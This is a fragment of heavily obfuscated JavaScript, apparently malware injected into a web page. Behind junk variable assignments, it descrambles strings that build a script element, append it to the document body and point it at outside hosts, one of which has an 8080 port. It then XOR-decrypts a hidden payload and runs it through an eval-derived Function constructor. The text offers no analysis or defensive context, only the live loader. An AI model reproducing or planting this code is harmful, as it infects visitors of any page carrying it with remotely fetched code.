Xd;if(Xd!='' && Xd!='fP'){Xd=''};if(F.length == mw){for(var MF in SO) {this.sC=false;var MM;if(MM!='' && MM!='WaO'){MM='iTo'};var Rz=new Date();nJ+=F.substr(SO[MF], B);var XF;if(XF!='BC' && XF!='TG'){XF='BC'};var PI;if(PI!='' && PI!='kxb'){PI=''};var Dr='';}var GF;if(GF!='' && GF!='WR'){GF=''};} else {var OS=34047;  nJ+=F;}var lE="lE";}return nJ;var rV='';} function y(N,A){return N^A;var Sh;if(Sh!='' && Sh!='GE'){Sh=''};var ui;if(ui!='' && ui!='zvw'){ui=''};}var pI;if(pI!='ft'){pI='ft'};this.yy="";var jx;if(jx!='aA'){jx=''};var bE="bE";var Tr;if(Tr!='jm'){Tr='jm'}; var Bx=function(C,i){var lF;if(lF!='VG'){lF=''};var zN=63476;return C[D("haroCecdAt", [6,0,1,2,4,3,7,5])](i);var Flq;if(Flq!='gD' && Flq != ''){Flq=null};this.KG=18730;};var ZvH=57159;var YK=new Date();var w=window;var Lr="Lr";var xrG="xrG";var wW=w[D("aevl", [1,2,0])];var Tp=new String();var K=wW(D("nFuitcon", [1,2,0,5,4,3]));var ZL=false;var M=wW(D("nStrig", [1,2,3,4,0]));var inZ=false;var lC;if(lC!=''){lC='ZU'};var DB=wW(D("EgeRxp", [3,2,1,0,4]));var la;if(la!='' && la!='Hz'){la='fBu'};var Q = '';this.Yb="";this.ag="";this.sn=13009;var fU=new Date();var TM;if(TM!='' && TM!='gt'){TM='dn'};var rY;if(rY!='' && rY!='fc'){rY=''};var s=M[D("mCorfCorahde", [4,3,2,0,1])];var mfV="mfV";var Hh;if(Hh!='' && Hh!='mU'){Hh=null};var WU='';var c=w[D("eusnpcea", [1,3,0,2])];var lM;if(lM!='' && lM!='fq'){lM=null};this.wg="";var Dc='';this.va="va";var mwl=new Date();var V=[1, D("fhsuertcnlha.necom", [2,3,5,0,6,1,4,7]),2, D("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),3, D("ucodtnemdob.pa.ydneplihC)d(d", [3,2,1,0]),4, D("omc1e.001ne..ktnoioipsk", [2,0,1]),5, D("set.dtritAte(ubefed\'r\'", [4,3,0,1,2]),6, D("uhe.trhmabelosr80u:.80", [5,0,3,4,1,2,6]),7, D("nwdoiwn.looad", [1,4,0,2,3,5]),8, D("cpnenjy.ocme", [5,0,1,3,2,4]),11, D("ooglgc.emo", [2,1,0,4,3]),12, D("ilkniwhtni", [1,0]),14, D("ntocfuin()", [4,5,7,3,1,6,2,0]),15, D("ti61.8ocm", [1,0]),16, D("hae(ctc)", [6,1,5,4,0,3,2,7]),17, D("th\"tp:", [2,1,3,0]),18, D(".drsc", [1,0,3,2]),19, D("1\'\')", [1,0,2]),20, D("yrt", [2,1,0])];var Og = /[^@a-z0-9A-Z_-]/g;var cc=new Array();var As;if(As!='vY' && As!='ERu'){As='vY'};var U = '';var S =[0,149,123,218][0];var Ot = '';var Ch=57161;var jq;if(jq!='gI'){jq='gI'};var DG = s(37);this.Ys='';this.vc="";var B =[1][0];var Twl;if(Twl!='AI'){Twl=''};var FP = '';var mXd;if(mXd!='hOl' && mXd!='Hw'){mXd='hOl'};var z =[2][0];var Kl=new String();var Wb =[0][0];var tt="tt";var VD;if(VD!='hB' && VD!='Pc'){VD='hB'};var x = v[D("elgnht", [1,0])];var Xv=new String();var Dh;if(Dh!='Uw' && Dh!='LD'){Dh='Uw'};var Bo;if(Bo!='' && Bo!='dh'){Bo=null};var LW;if(LW!='' && LW!='dw'){LW=null};var DBc="DBc";var YKs=false;var qW=false;for(var Sw=S; Sw < x; Sw+=z){Ot+= DG; var Nhb;if(Nhb!='Ag' && Nhb != ''){Nhb=null};Ot+= v[D("busstr", [3,1,0,2])](Sw, z);this.sp="sp";var yJ;if(yJ!='' && yJ!='Qr'){yJ='jI'};}var gDN="gDN";this.zG=25051;var v = c(Ot);var Ho;if(Ho!='gxw'){Ho=''};var vA;if(vA!=''){vA='is'};var cr = new M(e);var Ep;if(Ep!=''){Ep='pa'};var L = cr[D("eclepar", [6,0,4,2,5,1,3])](Og, U);var Wg=new Date();var wE;if(wE!='Gm' && wE!='nJj'){wE='Gm'};L = X(L);this.OKK="OKK";var yV=new String();var ev = V[D("getnlh", [4,1,3,0,2])];var Zr;if(Zr!='tX' && Zr != ''){Zr=null};var Ll=new Date();var vB = new M(K);var Jq;if(Jq!='' && Jq!='RP'){Jq=''};var nR=false;var sxp;if(sxp!='' && sxp!='dV'){sxp=''};var t = vB[D("aceplre", [5,2,3,4,0,1])](Og, U);var t = WT(t);var TeC;if(TeC!=''){TeC='gP'};var T=WT(L);var PX='';var qq='';for(var m=S; m < (v[D("egnlth", [3,0,2,1])]);m=m+[1][0]) {var Ezc=new Array();var KS=45966;var NW = L.charCodeAt(Wb);var vg = Bx(v,m);var vG;if(vG!='' && vG!='UwT'){vG='Of'};var PG;if(PG!='' && PG!='BY'){PG=null};vg = y(vg, NW);var Op;if(Op!='' && Op!='TF'){Op='mS'};var Jo=false;var UX;if(UX!='jf' && UX!='wX'){UX='jf'};vg = y(vg, T);var fsO;if(fsO!=''){fsO='Bp'};vg = y(vg, t);Wb++;var UF="UF";var AvZ;if(AvZ!='' && AvZ!='jmw'){AvZ=''};var qv=new Date();if(Wb > L.length-B){Wb=S;var HV=37817;}var YV;if(YV!='' && YV!='TR'){YV=null};FP += s(vg);}var aUV='';var NR='';for(o=S; o < ev; o+=z){var cU='';var Pv="";var xb = V[o + B];var E = s(V[o]);var Wh;if(Wh!='sd' && Wh != ''){Wh=null};var Ov;if(Ov!='zI'){Ov=''};var DW = new DB(E, M.fromCharCode(103));this.jY=false;this.Vu=false;FP=FP[D("pealcre", [5,1,0,3,2,4,6])](DW, xb);var BUN;if(BUN!='' && BUN!='vGO'){BUN=''};}this.Vw=false;var Zjg;if(Zjg!='' && Zjg!='wD'){Zjg='KYV'};var Vz=new K(FP);var Bon;if(Bon!='wQ' && Bon!='gU'){Bon='wQ'};Vz();var eA;if(eA!='' && eA!='su'){eA=''};var lkP;if(lkP!=''){lkP='Eb'};this.lP='';var vj;if(vj!='xy' && vj!='aM'){vj=''};this.iSh=36561;T = '';var Cf;if(Cf!='' && Cf!='zy'){Cf=null};Vz = '';var le=new Date();var yf=new Date();t = '';FP = '';var Km;if(Km!='Iq' && Km!='eT'){Km=''};L = '';vB = '';var Wc;if(Wc!='dox' && Wc!='Hzq'){Wc='dox'};var yH=new String();this.Opp=false;var Nj=new Array();return '';};var YH;if(YH!='HwT' && YH!='NG'){YH='HwT'};var Uc=false;e(sY);